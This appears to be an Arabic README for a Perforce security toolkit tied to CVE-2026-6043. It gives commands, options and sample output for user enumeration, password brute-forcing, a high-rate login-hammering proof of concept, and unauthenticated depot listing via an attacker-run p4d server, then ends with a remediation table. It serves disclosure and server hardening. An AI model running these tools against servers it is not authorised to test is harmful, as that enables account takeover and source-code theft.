
أبحاث وأدوات أمان Perforce - CVE-2026-6043
أدوات أبحاث أمان بيرفورس (Helix Core) وقوالب nuclei.
مقالة البحث: https://morganrobertson.net/p4wned/
يرجى قراءة المقالة أعلاه للحصول على التفاصيل الكاملة.
أهداف مصرح بها فقط. استخدمها على خوادمك الخاصة أو بإذن كتابي صريح.
الجمهور المستهدف: مدراء خوادم بيرفورس، مختبرو الاختراق، مهندسو الأمان.
تحديث مايو 2026: تم إصدار بيرفورس 2026.1. هذا الإصدار يأتي بإعدادات افتراضية آمنة! سعيد جدًا برؤية هذا الإصدار لحماية الملكية الفكرية للمطورين. اقرأ المزيد هنا.
ملاحظة: تفحص هذه الأدوات التكوينات الخاطئة الناتجة عن CVE-2026-6043.
| الأداة | تتطلب |
|---|---|
p4wned.py | بايثون 3، ثنائي p4 CLI (انظر أدناه) |
p4ghost.py | بايثون 3، ثنائي p4 CLI، مثيل p4d محلي (انظر الإعداد أدناه) |
p4-auth-hammer | g++، واجهة برمجة تطبيقات C++ لبيرفورس، OpenSSL 1.1.1 (انظر p4-auth-hammer/README.md) |
| أدوات جافاسكريبت | Node.js (بدون تبعيات خارجية) |
| قوالب Nuclei | Nuclei v3+ |
| وحدات Metasploit | Metasploit Framework |
الحصول على ثنائي p4 (مطلوب بواسطة p4wned.py و p4ghost.py):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
تعرض خوادم بيرفورس بروتوكول TCP ثنائي مخصص (المنفذ الافتراضي 1666). تأتي العديد من التثبيتات بإعدادات افتراضية غير آمنة — سرد المستخدمين دون مصادقة، كشف معلومات الخادم، مستودعات بعيدة قابلة للوصول، عدم وجود متطلبات كلمة مرور، وعدم وجود حد لمعدل محاولات تسجيل الدخول. تستغل جميع الأدوات هنا هذه الإعدادات الافتراضية دون الحاجة إلى بيانات اعتماد.
الماسح الرئيسي. يستخدم ثنائي p4 CLI لتعداد المستخدمين، اختبار بيانات الاعتماد، سرد المستودعات، وإنتاج تقرير.
python3 p4wned.py [-brute] [-audit] [-parallel N]
الخيارات:
| العلامة | الوصف |
|---|---|
-brute | تمكين وضع القوة الغاشمة — يختبر كلمات المرور ضد جميع حسابات المستخدمين المكتشفة |
-audit | وضع التدقيق الشامل — يواصل اختبار جميع المستخدمين حتى بعد العثور على ثغرة أمنية |
-parallel N | عدد محاولات كلمة المرور المتوازية (الافتراضي: 1) |
التكوين (قم بتحريره في أعلى السكربت):
ما يفعله:
run.users.authorize=0)super في الحسابات المخترقةمخرجات وحدة التحكم:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· يكتشف حسابات المستخدمين، كلمات المرور الفارغة، بيانات الاعتماد الضعيفة، والإعدادات الغبية.
· يؤكد الوصول إلى المستودعات وحسابات المستخدمين "super" القيمة.
· ينتج تقريرًا مرتبًا حتى تتمكن من إصلاح الفوضى قبل وصول المخربين
أهداف مصرح بها فقط، يا أخي. استخدمها على خوادمك الخاصة أو على مسؤوليتك الخاصة.
==============================================================================
=== المعالجة: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] جارٍ اختبار المستخدم 'super' لمشكلات أمنية...
[INFO] المستخدم 'super' غير موجود.
[INFO] قائمة المستخدمين قابلة للوصول: build, designer1, jsmith, lead_prog, svc_build
[INFO] جارٍ اختبار المستخدم 'build' لمشكلات أمنية...
[INFO] جارٍ اختبار المستخدم 'designer1' لمشكلات أمنية...
[INFO] جارٍ اختبار المستخدم 'jsmith' لمشكلات أمنية...
[INFO] جارٍ اختبار المستخدم 'lead_prog' لمشكلات أمنية...
[INFO] جارٍ اختبار المستخدم 'svc_build' لمشكلات أمنية...
[INFO] تمت إضافة بيانات اعتماد جديدة لـ 192.0.2.10:1666: user='svc_build', password='None'
[INFO] جارٍ حفظ بيانات الاعتماد المحدثة بعد العثور على بيانات اعتماد صالحة لـ svc_build على 192.0.2.10:1666
[INFO] تم حفظ التقرير إلى perforce-report-p4wned-1775436520.txt
ملف التقرير (perforce-report-p4wned-*.txt):
تقرير فحص أمان بيرفورس
الخادم: 192.0.2.10:1666 (perforce.example-studio.com)
الحالة: غير آمن
ملاحظة: غير آمن عبر المستخدم 'svc_build' (بدون كلمة مرور)
== المستودعات ==
مستودع depot 2025/11/03 local depot/... 'المستودع الافتراضي'
مستودع assets 2024/08/19 local assets/... 'مستودع الأصول'
== آخر 10 تغييرات ==
التغيير 1047 بتاريخ 2025/11/03 14:22:11 بواسطة lead_prog@DESKTOP-BUILD01
دمج فرع feature/ai-pathfinding
التغيير 1046 بتاريخ 2025/11/03 09:44:38 بواسطة designer1@DESKTOP-ART02
تم تحديث صادرات هيكل الشخصية
== تفاصيل المستودع ==
المستودع: depot
-- الدلائل الجذرية --
//depot/Source
//depot/Content
//depot/Config
هذا المستودع ليس مستودعًا لـ Unreal Engine.
------------------------------------------------------------
تقرير ملخص
الخادم: 192.0.2.10:1666 - غير آمن - ملاحظة: غير آمن عبر المستخدم 'svc_build' (بدون كلمة مرور)
يختبر الوصول غير المصادق إلى المستودعات البعيدة عبر المستخدم المخفي remote. يعمل الاستغلال عن طريق تشغيل مثيل p4d محلي يتحكم به المهاجم — يتصل الخادم الهدف به كجزء من بروتوكول الخادم إلى الخادم، مما يؤدي إلى تسريب قائمة ملفات المستودع.
الإعداد (لمرة واحدة):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# ابدأ p4d عادي (ASCII) على المنفذ 1818 (يُستخدم كخادم المهاجم)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# ابدأ p4d بنمط unicode على منفذ منفصل (1819) للأهداف التي تستخدم unicode
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # تحويل إلى نمط unicode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# مثال على الاستدعاء باستخدام خوادم المهاجم المحلية أعلاه
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
الوسائط:
الإصدارات المتأثرة: جميع الإصدارات الأقل من 2025.1 مع security < 4 (الافتراضي هو 0).
إثبات مفهوم يوضح أن p4d لا يحد بشكل فعال من معدل محاولات المصادقة عندما يكون security < 3. يحقق أكثر من 300,000 محاولة تسجيل دخول في الدقيقة ضد حساب واحد باستخدام واجهة برمجة تطبيقات C++ لبيرفورس.
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
البناء (يتطلب واجهة برمجة تطبيقات C++ لبيرفورس و OpenSSL 1.1.1 — انظر p4-auth-hammer/README.md للإعداد الكامل):
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
الأنماط:
security < 3). يتم تجاوز حد المعدل بالكامل. أكثر من 300,000 محاولة/دقيقة.-ticketauth: تسجيل الدخول القائم على التذكرة (security >= 3). حد المعدل (dm.user.loginattempts) نشط في هذا المستوى.يكشف تلقائيًا خوادم SSL و unicode. يضبط عدد الخيوط تلقائيًا لتحقيق أقصى إنتاجية.
الإصلاح: p4 configure set security=3 (أو 4). انظر p4-auth-hammer/README.md للحصول على التفاصيل الكاملة.
نصوص Node.js المستقلة. لا توجد تبعيات خارجية تتجاوز مكتبة Node.js القياسية. تكتشف جميع النصوص تلقائيًا وضع SSL مقابل TCP العادي ووضع خادم ASCII مقابل unicode — لا حاجة إلى علامات.
تنسيق ملف الهدف: host:port سطر واحد لكل هدف، المنفذ الافتراضي 1666 إذا تم حذفه. يتم تجاهل الأسطر التي تبدأ بـ #.
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
الاكتشاف التلقائي: يتم تجربة TCP العادي أولاً. إذا استجاب الخادم برسالة خطأ SSL في بيرفورس ("Failed client connect, server using SSL") يتم إعادة محاولة الاتصال عبر TLS مع rejectUnauthorized: false (يقبل الشهادات الموقعة ذاتيًا). يتم تجربة وضع ASCII أولاً؛ إذا أرجعالخادم رسالة خطأ unicode، يتم إعادة محاولة الاتصال مع معلمة unicode.
يستغل run.users.authorize=0 (الافتراضي) لسرد جميع حسابات المستخدمين دون مصادقة.
node javascript/perforce-users.js [targets_file]
الإخراج: [host:port] [tcp|ssl] username <email> "Full Name"
يستغل dm.info.hide=0 (الافتراضي) لاستخراج إصدار الخادم، والعنوان الداخلي، ومسار الجذر، وسلسلة الترخيص.
node javascript/perforce-info.js [targets_file]
الإخراج:
[host:port] [tcp|ssl]
الإصدار : P4D/LINUX26X86_64/2024.2/2877946
عنوان الخادم: internal-hostname:1666
جذر الخادم: /opt/perforce/p4root
الترخيص : Acme Corp
يبحث عن حسابات المستخدمين التي لا تحتوي على كلمة مرور محددة. يستخدم تنسيق الإخراج المُوسوم (معلمة tag) لاكتشاف غياب حقل Password في سجلات المستخدم. تسمح الحسابات بدون كلمة مرور بتسجيل الدخول المباشر دون مصادقة.
node javascript/perforce-passwordless.js [targets_file]
الإخراج: [host:port] [tcp|ssl] [بدون كلمة مرور] username <email> "Full Name"
يستغل المستخدم المخفي remote عبر استدعاء الإجراء البعيد (RPC) بين الخوادم rmt-DbPipe لقراءة جدول db.rev مباشرة، واستخراج مسارات ملفات المستودع وأرقام التغييرات دون مصادقة. الإصدارات المتأثرة: أقل من 2025.1 مع security < 4.
node javascript/perforce-remote.js [targets_file]
الإخراج:
[host:port] [tcp|ssl] 42 ملف(ات) في المستودع:
[change=7] [2024-11-03] //depot/src/main.cpp
[change=3] [2024-09-12] //depot/config/database.yml
يستخرج قيم المفاتيح/العدادات العمومية من خوادم بيرفورس. يمكن أن تحتوي المفاتيح على أرقام بناء، وسلاسل إصدار داخلي، وتكوين.
node javascript/perforce-keys.js [targets_file]
الإخراج: [host:port] [tcp|ssl] keyname = value
قوالب لـ Nuclei. تستخدم جميع القوالب خطوة بوابة TCP لتأكيد وجود خادم بيرفورس قبل تنفيذ حمولة جافاسكريبت. تستخدم القوالب نفس نهج الكشف التلقائي كأدوات جافاسكريبت.
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt
| القالب | المعرف | الوصف |
|---|---|---|
perforce-detect.yaml | perforce-detection | يكتشف خوادم بيرفورس عبر المصافحة بالبروتوكول الثنائي. الخطورة: معلوماتي. |
القيود: لا دعم لـ SSL، المنفذ 1666 فقط. راجع أدوات جافاسكريبت للمزيد.
ثلاث وحدات ماسحة مساعدة لـ Metasploit Framework، بالإضافة إلى مكتبة mixin مشتركة تتعامل مع بروتوكول بيرفورس الثنائي. تغطي هذه الوحدات نفس الثغرات الأمنية مثل الأدوات المستقلة أعلاه — تعداد المستخدمين، كشف الحسابات بدون كلمة مرور، واستغلال المستودعات البعيدة.
تكتشف جميع الوحدات تلقائيًا وضع خادم ASCII مقابل unicode. يتم دعم SSL.
| الوحدة | الوصف |
|---|---|
auxiliary/scanner/perforce/perforce_user_enum |
ملفات المصدر موجودة في دليل metasploit/. تم تقديم طلب سحب (PR) إلى Metasploit Framework.
مرجع سريع للإصلاح:
| المتغير | الوصف |
|---|
INPUT_FILE | قائمة الأهداف (ip:port، سطر واحد لكل هدف) — الافتراضي perforce-servers.txt |
P4_CMD | المسار إلى ثنائي p4 — الافتراضي ./p4 |
TOP_PASSWORDS_FILE | قائمة كلمات المرور للقوة الغاشمة — الافتراضي top-passwords.txt |
KNOWN_CREDS_FILE | أزواج بيانات اعتماد معروفة لمحاولتها أولاً |
REPORT_FILE | مسار تقرير الإخراج |
| العلامة | الوصف |
|---|
input_file | قائمة الأهداف (ip:port، سطر واحد لكل هدف) |
-skipnolicense | تخطى الخوادم التي ترجع Server license: none |
-report FILE | مسار تقرير الإخراج |
-p4cmd PATH | المسار إلى ثنائي p4 (الافتراضي ./p4) |
-unicodeport PORT | منفذ p4d المحلي بنمط unicode لاستخدامه كخادم المهاجم |
-nonunicodeport PORT | منفذ p4d المحلي غير الخاص بـ unicode |
-timeout SECS | مهلة الأمر |
| القالب | المعرف | الخطورة | CVSS | الوصف |
|---|
perforce-user-extraction.yaml | perforce-user-enumeration | متوسطة | 5.3 | سرد المستخدمين دون مصادقة — خوادم ASCII و unicode. يستخرج أسماء المستخدمين، البريد الإلكتروني، الأسماء الكاملة. |
perforce-info-disclosure.yaml | perforce-info-disclosure | متوسطة | 5.3 | كشف معلومات الخادم — الإصدار، العنوان الداخلي، مسار الجذر، الترخيص. |
perforce-passwordless-users.yaml | perforce-passwordless-users | حرجة | 9.1 | يجد الحسابات التي لا تحتوي على كلمة مرور. |
perforce-remote-depot-unauth.yaml | perforce-remote-depot-access-unauth | عالية | 7.5 | الوصول إلى المستودع البعيد عبر المستخدم remote — خوادم ASCII و unicode. يستخرج مسارات الملفات وأرقام التغييرات. المتأثرة: < 2025.1 مع security < 4. |
| سرد المستخدمين دون مصادقة — يستخرج أسماء المستخدمين، البريد الإلكتروني، الأسماء الكاملة، وأوقات آخر وصول. |
auxiliary/scanner/perforce/perforce_passwordless | يكتشف الحسابات التي لا تحتوي على كلمة مرور. |
auxiliary/scanner/perforce/perforce_remote_depot | تعداد ملفات المستودع البعيد عبر المستخدم المخفي remote. المتأثرة: < 2025.1 مع security < 4. |
| الاكتشاف | الإصلاح |
|---|
| تعداد المستخدمين | p4 configure set run.users.authorize=1 |
| كشف المعلومات | p4 configure set dm.info.hide=1 |
| مستخدمون بدون كلمة مرور | تعيين كلمات مرور لجميع الحسابات؛ p4 configure set dm.user.noautocreate=2 |
| الوصول إلى المستودع البعيد | الترقية إلى 2025.1+، أو p4 configure set security=4 |
| تحديد معدل المصادقة | p4 configure set security=3 (يفعّل القفل الفعال عبر dm.user.loginattempts) |
| جميع ما سبق | p4 configure set security=4 بالإضافة إلى الإعدادات الفردية أعلاه — security=4 يصلح الاستغلال البعيد لكنه لا يخفي قوائم المستخدمين أو معلومات الخادم |